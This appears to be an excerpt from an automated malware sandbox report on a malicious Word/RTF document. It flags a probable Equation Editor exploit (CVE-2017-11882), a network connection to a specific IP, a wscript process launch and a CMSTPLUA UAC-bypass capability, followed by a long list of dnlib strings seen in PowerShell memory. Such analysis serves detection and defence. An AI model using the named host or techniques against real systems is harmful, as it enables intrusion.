              Source: Yara matchFile source: 6.2.powershell.exe.444d080.1.raw.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 00000008.00000002.883789126.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000006.00000002.370133163.0000000004128000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: Process Memory Space: powershell.exe PID: 3116, type: MEMORYSTR
              Source: Yara matchFile source: Process Memory Space: RegAsm.exe PID: 3264, type: MEMORYSTR
              Found potential equation exploit (CVE-2017-11882)
              Source: Static RTF information: Object: 0 Offset: 0000798Ah
              Office equation editor establishes network connection
              Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXENetwork connect: IP: 192.3.176.154 Port: 80Jump to behavior
              Office equation editor starts processes (likely CVE 2017-11882 or CVE-2018-0802)
              Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXEProcess created: C:\Windows\SysWOW64\wscript.exe
              Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXEProcess created: C:\Windows\SysWOW64\wscript.exeJump to behavior
              Source: ~WRF{01C6C27F-A561-40CD-B0F2-2BC57BD07727}.tmp.0.drStream path '_1783489854/\x1CompObj' : ...................F....Microsoft Equation 3.0....
              Source: ~WRF{01C6C27F-A561-40CD-B0F2-2BC57BD07727}.tmp.0.drStream path '_1783489890/\x1CompObj' : ...................F....Microsoft Equation 3.0....
              Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXEProcess created: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE "C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -Embedding

              Privilege Escalation

              barindex
              Contains functionality to bypass UAC (CMSTPLUA)
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 8_2_004074FD _wcslen,CoGetObject,8_2_004074FD
              Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXEFile opened: C:\Windows\WinSxS\amd64_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.4940_none_08e4299fa83d7e3c\MSVCR90.dllJump to behavior
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetHandler source: powershell.exe, 00000006.00000002.370133163.0000000003659000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.372721749.00000000062F0000.00000004.08000000.00040000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetMemberRefProps source: powershell.exe, 00000006.00000002.370133163.0000000003659000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.372721749.00000000062F0000.00000004.08000000.00040000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumTypeRefs source: powershell.exe, 00000006.00000002.370133163.0000000003659000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.372721749.00000000062F0000.00000004.08000000.00040000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetParent source: powershell.exe, 00000006.00000002.370133163.0000000003659000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.372721749.00000000062F0000.00000004.08000000.00040000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.ApplyEditAndContinue source: powershell.exe, 00000006.00000002.370133163.0000000003659000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.372721749.00000000062F0000.00000004.08000000.00040000.00000000.sdmp
              Source: Binary string: System.Collections.Generic.IEnumerator<dnlib.DotNet.Pdb.PdbScope>.Current source: powershell.exe, 00000006.00000002.370133163.0000000003659000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.372721749.00000000062F0000.00000004.08000000.00040000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineModuleRef source: powershell.exe, 00000006.00000002.370133163.0000000003659000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.372721749.00000000062F0000.00000004.08000000.00040000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetNameFromToken source: powershell.exe, 00000006.00000002.370133163.0000000003659000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.372721749.00000000062F0000.00000004.08000000.00040000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DeleteFieldMarshal source: powershell.exe, 00000006.00000002.370133163.0000000003659000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.372721749.00000000062F0000.00000004.08000000.00040000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.FindField source: powershell.exe, 00000006.00000002.370133163.0000000003659000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.372721749.00000000062F0000.00000004.08000000.00040000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumMembers source: powershell.exe, 00000006.00000002.370133163.0000000003659000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.372721749.00000000062F0000.00000004.08000000.00040000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DeleteClassLayout source: powershell.exe, 00000006.00000002.370133163.0000000003659000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.372721749.00000000062F0000.00000004.08000000.00040000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.IsValidToken source: powershell.exe, 00000006.00000002.370133163.0000000003659000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.372721749.00000000062F0000.00000004.08000000.00040000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.Merge source: powershell.exe, 00000006.00000002.370133163.0000000003659000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.372721749.00000000062F0000.00000004.08000000.00040000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.FindMemberRef source: powershell.exe, 00000006.00000002.370133163.0000000003659000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.372721749.00000000062F0000.00000004.08000000.00040000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetParamProps source: powershell.exe, 00000006.00000002.370133163.0000000003659000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.372721749.00000000062F0000.00000004.08000000.00040000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetParamProps source: powershell.exe, 00000006.00000002.370133163.0000000003659000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.372721749.00000000062F0000.00000004.08000000.00040000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.GetSaveSize source: powershell.exe, 00000006.00000002.370133163.0000000003659000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.372721749.00000000062F0000.00000004.08000000.00040000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.FindTypeRef source: powershell.exe, 00000006.00000002.370133163.0000000003659000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.372721749.00000000062F0000.00000004.08000000.00040000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.ResetEnum source: powershell.exe, 00000006.00000002.370133163.0000000003659000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.372721749.00000000062F0000.00000004.08000000.00040000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumProperties source: powershell.exe, 00000006.00000002.370133163.0000000003659000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.372721749.00000000062F0000.00000004.08000000.00040000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetMethodProps source: powershell.exe, 00000006.00000002.370133163.0000000003659000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.372721749.00000000062F0000.00000004.08000000.00040000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumMembersWithName source: powershell.exe, 00000006.00000002.370133163.0000000003659000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.372721749.00000000062F0000.00000004.08000000.00040000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetCustomAttributeValue source: powershell.exe, 00000006.00000002.370133163.0000000003659000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.372721749.00000000062F0000.00000004.08000000.00040000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineCustomAttribute source: powershell.exe, 00000006.00000002.370133163.0000000003659000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.372721749.00000000062F0000.00000004.08000000.00040000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumMethodImpls source: powershell.exe, 00000006.00000002.370133163.0000000003659000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.372721749.00000000062F0000.00000004.08000000.00040000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineEvent source: powershell.exe, 00000006.00000002.370133163.0000000003659000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.372721749.00000000062F0000.00000004.08000000.00040000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetCustomAttributeByName source: powershell.exe, 00000006.00000002.370133163.0000000003659000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.372721749.00000000062F0000.00000004.08000000.00040000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineMethod source: powershell.exe, 00000006.00000002.370133163.0000000003659000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.372721749.00000000062F0000.00000004.08000000.00040000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.TranslateSigWithScope source: powershell.exe, 00000006.00000002.370133163.0000000003659000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.372721749.00000000062F0000.00000004.08000000.00040000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineUserString source: powershell.exe, 00000006.00000002.370133163.0000000003659000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.372721749.00000000062F0000.00000004.08000000.00040000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.Save source: powershell.exe, 00000006.00000002.370133163.0000000003659000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.372721749.00000000062F0000.00000004.08000000.00040000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetTypeSpecFromToken source: powershell.exe, 00000006.00000002.370133163.0000000003659000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.372721749.00000000062F0000.00000004.08000000.00040000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetPermissionSetProps source: powershell.exe, 00000006.00000002.370133163.0000000003659000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.372721749.00000000062F0000.00000004.08000000.00040000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetNativeCallConvFromSig source: powershell.exe, 00000006.00000002.370133163.0000000003659000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.372721749.00000000062F0000.00000004.08000000.00040000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.CountEnum source: powershell.exe, 00000006.00000002.370133163.0000000003659000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.372721749.00000000062F0000.00000004.08000000.00040000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumMethodSemantics source: powershell.exe, 00000006.00000002.370133163.0000000003659000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.372721749.00000000062F0000.00000004.08000000.00040000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumFields source: powershell.exe, 00000006.00000002.370133163.0000000003659000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.372721749.00000000062F0000.00000004.08000000.00040000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumMethods source: powershell.exe, 00000006.00000002.370133163.0000000003659000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.372721749.00000000062F0000.00000004.08000000.00040000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetTypeRefProps source: powershell.exe, 00000006.00000002.370133163.0000000003659000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.372721749.00000000062F0000.00000004.08000000.00040000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetSigFromToken source: powershell.exe, 00000006.00000002.370133163.0000000003659000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.372721749.00000000062F0000.00000004.08000000.00040000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumTypeSpecs source: powershell.exe, 00000006.00000002.370133163.0000000003659000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.372721749.00000000062F0000.00000004.08000000.00040000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.CloseEnum source: powershell.exe, 00000006.00000002.370133163.0000000003659000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.372721749.00000000062F0000.00000004.08000000.00040000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetModuleRefProps source: powershell.exe, 00000006.00000002.370133163.0000000003659000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.372721749.00000000062F0000.00000004.08000000.00040000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SaveToMemory source: powershell.exe, 00000006.00000002.370133163.0000000003659000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.372721749.00000000062F0000.00000004.08000000.00040000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineTypeRefByName source: powershell.exe, 00000006.00000002.370133163.0000000003659000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.372721749.00000000062F0000.00000004.08000000.00040000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb source: powershell.exe, 00000006.00000002.370133163.0000000003659000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.372721749.00000000062F0000.00000004.08000000.00040000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetScopeProps source: powershell.exe, 00000006.00000002.370133163.0000000003659000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.372721749.00000000062F0000.00000004.08000000.00040000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.FindMember source: powershell.exe, 00000006.00000002.370133163.0000000003659000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.372721749.00000000062F0000.00000004.08000000.00040000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetPropertyProps source: powershell.exe, 00000006.00000002.370133163.0000000003659000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.372721749.00000000062F0000.00000004.08000000.00040000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumParams source: powershell.exe, 00000006.00000002.370133163.0000000003659000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.372721749.00000000062F0000.00000004.08000000.00040000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.MergeEnd source: powershell.exe, 00000006.00000002.370133163.0000000003659000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.372721749.00000000062F0000.00000004.08000000.00040000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss source: powershell.exe, 00000006.00000002.370133163.0000000003659000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.372721749.00000000062F0000.00000004.08000000.00040000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetEventProps source: powershell.exe, 00000006.00000002.370133163.0000000003659000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.372721749.00000000062F0000.00000004.08000000.00040000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumCustomAttributes source: powershell.exe, 00000006.00000002.370133163.0000000003659000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.372721749.00000000062F0000.00000004.08000000.00040000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetFieldProps source: powershell.exe, 00000006.00000002.370133163.0000000003659000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.372721749.00000000062F0000.00000004.08000000.00040000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumModuleRefs source: powershell.exe, 00000006.00000002.370133163.0000000003659000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.372721749.00000000062F0000.00000004.08000000.00040000.00000000.sdmp
              Source: Binary string: System.Collections.Generic.IEnumerator<dnlib.DotNet.Pdb.PdbScope>.get_Current source: powershell.exe, 00000006.00000002.370133163.0000000003659000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.372721749.00000000062F0000.00000004.08000000.00040000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetCustomAttributeProps source: powershell.exe, 00000006.00000002.370133163.0000000003659000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.372721749.00000000062F0000.00000004.08000000.00040000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetFieldProps source: powershell.exe, 00000006.00000002.370133163.0000000003659000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.372721749.00000000062F0000.00000004.08000000.00040000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineParam source: powershell.exe, 00000006.00000002.370133163.0000000003659000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.372721749.00000000062F0000.00000004.08000000.00040000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DeleteToken source: powershell.exe, 00000006.00000002.370133163.0000000003659000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.372721749.00000000062F0000.00000004.08000000.00040000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetClassLayout source: powershell.exe, 00000006.00000002.370133163.0000000003659000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.372721749.00000000062F0000.00000004.08000000.00040000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineNestedType source: powershell.exe, 00000006.00000002.370133163.0000000003659000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.372721749.00000000062F0000.00000004.08000000.00040000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumUnresolvedMethods source: powershell.exe, 00000006.00000002.370133163.0000000003659000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.372721749.00000000062F0000.00000004.08000000.00040000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumPermissionSets source: powershell.exe, 00000006.00000002.370133163.0000000003659000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.372721749.00000000062F0000.00000004.08000000.00040000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Managed source: powershell.exe, 00000006.00000002.370133163.0000000003659000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.372721749.00000000062F0000.00000004.08000000.00040000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetRVA source: powershell.exe, 00000006.00000002.370133163.0000000003659000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.372721749.00000000062F0000.00000004.08000000.00040000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetModuleFromScope source: powershell.exe, 00000006.00000002.370133163.0000000003659000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.372721749.00000000062F0000.00000004.08000000.00040000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineMethodImpl source: powershell.exe, 00000006.00000002.370133163.0000000003659000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.372721749.00000000062F0000.00000004.08000000.00040000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefinePinvokeMap source: powershell.exe, 00000006.00000002.370133163.0000000003659000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.372721749.00000000062F0000.00000004.08000000.00040000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineSecurityAttributeSet source: powershell.exe, 00000006.00000002.370133163.0000000003659000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.372721749.00000000062F0000.00000004.08000000.00040000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetClassLayout source: powershell.exe, 00000006.00000002.370133163.0000000003659000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.372721749.00000000062F0000.00000004.08000000.00040000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineMemberRef source: powershell.exe, 00000006.00000002.370133163.0000000003659000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.372721749.00000000062F0000.00000004.08000000.00040000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetPermissionSetProps source: powershell.exe, 00000006.00000002.370133163.0000000003659000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.372721749.00000000062F0000.00000004.08000000.00040000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetTypeDefProps source: powershell.exe, 00000006.00000002.370133163.0000000003659000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.372721749.00000000062F0000.00000004.08000000.00040000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineProperty source: powershell.exe, 00000006.00000002.370133163.0000000003659000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.372721749.00000000062F0000.00000004.08000000.00040000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetFieldRVA source: powershell.exe, 00000006.00000002.370133163.0000000003659000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.372721749.00000000062F0000.00000004.08000000.00040000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.FindTypeDefByName source: powershell.exe, 00000006.00000002.370133163.0000000003659000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.372721749.00000000062F0000.00000004.08000000.00040000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetModuleProps source: powershell.exe, 00000006.00000002.370133163.0000000003659000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.372721749.00000000062F0000.00000004.08000000.00040000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumFieldsWithName source: powershell.exe, 00000006.00000002.370133163.0000000003659000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.372721749.00000000062F0000.00000004.08000000.00040000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumMemberRefs source: powershell.exe, 00000006.00000002.370133163.0000000003659000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.372721749.00000000062F0000.00000004.08000000.00040000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.ResolveTypeRef source: powershell.exe, 00000006.00000002.370133163.0000000003659000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.372721749.00000000062F0000.00000004.08000000.00040000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SaveToStream source: powershell.exe, 00000006.00000002.370133163.0000000003659000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.372721749.00000000062F0000.00000004.08000000.00040000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetMethodSemantics source: powershell.exe, 00000006.00000002.370133163.0000000003659000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.372721749.00000000062F0000.00000004.08000000.00040000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetTypeDefProps source: powershell.exe, 00000006.00000002.370133163.0000000003659000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.372721749.00000000062F0000.00000004.08000000.00040000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.FindMethod source: powershell.exe, 00000006.00000002.370133163.0000000003659000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.372721749.00000000062F0000.00000004.08000000.00040000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetNestedClassProps source: powershell.exe, 00000006.00000002.370133163.0000000003659000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.372721749.00000000062F0000.00000004.08000000.00040000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DeletePinvokeMap source: powershell.exe, 00000006.00000002.370133163.0000000003659000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.372721749.00000000062F0000.00000004.08000000.00040000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.GetTokenFromTypeSpec source: powershell.exe, 00000006.00000002.370133163.0000000003659000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.372721749.00000000062F0000.00000004.08000000.00040000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetMethodImplFlags source: powershell.exe, 00000006.00000002.370133163.0000000003659000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.372721749.00000000062F0000.00000004.08000000.00040000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetPinvokeMap source: powershell.exe, 00000006.00000002.370133163.0000000003659000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.372721749.00000000062F0000.00000004.08000000.00040000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetPinvokeMap source: powershell.exe, 00000006.00000002.370133163.0000000003659000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.372721749.00000000062F0000.00000004.08000000.00040000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumSignatures source: powershell.exe, 00000006.00000002.370133163.0000000003659000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.372721749.00000000062F0000.00000004.08000000.00040000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetFieldMarshal source: powershell.exe, 00000006.00000002.370133163.0000000003659000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.372721749.00000000062F0000.00000004.08000000.00040000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumUserStrings source: powershell.exe, 00000006.00000002.370133163.0000000003659000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.372721749.00000000062F0000.00000004.08000000.00040000.00000000.sdmp
